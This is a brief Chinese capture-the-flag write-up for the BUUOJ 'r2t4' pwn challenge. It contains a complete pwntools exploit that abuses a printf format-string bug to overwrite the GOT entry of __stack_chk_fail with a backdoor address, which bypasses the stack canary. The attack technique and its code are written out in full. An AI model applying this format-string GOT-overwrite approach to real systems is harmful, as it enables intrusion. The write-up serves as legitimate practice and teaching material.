pwn-r2t4(__stack_chk_fail劫持绕过canary)

查看保护

main函数

 

backdoor函数

read栈溢出,但空间不够,并且开启了canary,printf存在明显的格式化字符串。

覆写got表中的__stack_chk_fail地址为backdoor的地址

计算出偏移为6

 exp:

#!/usr/bin/python
from pwn import *
from LibcSearcher import *
a=remote("node3.buuoj.cn",27856)
elf=ELF("./r2t4")
context(arch='amd64',os='linux',log_level='debug')

__stack_chk_fail=elf.got['__stack_chk_fail']
back=0x00400626

payload=fmtstr_payload(6,{__stack_chk_fail:back})
a.sendline(payload)


a.interactive()
原文地址:https://www.cnblogs.com/remon535/p/13512562.html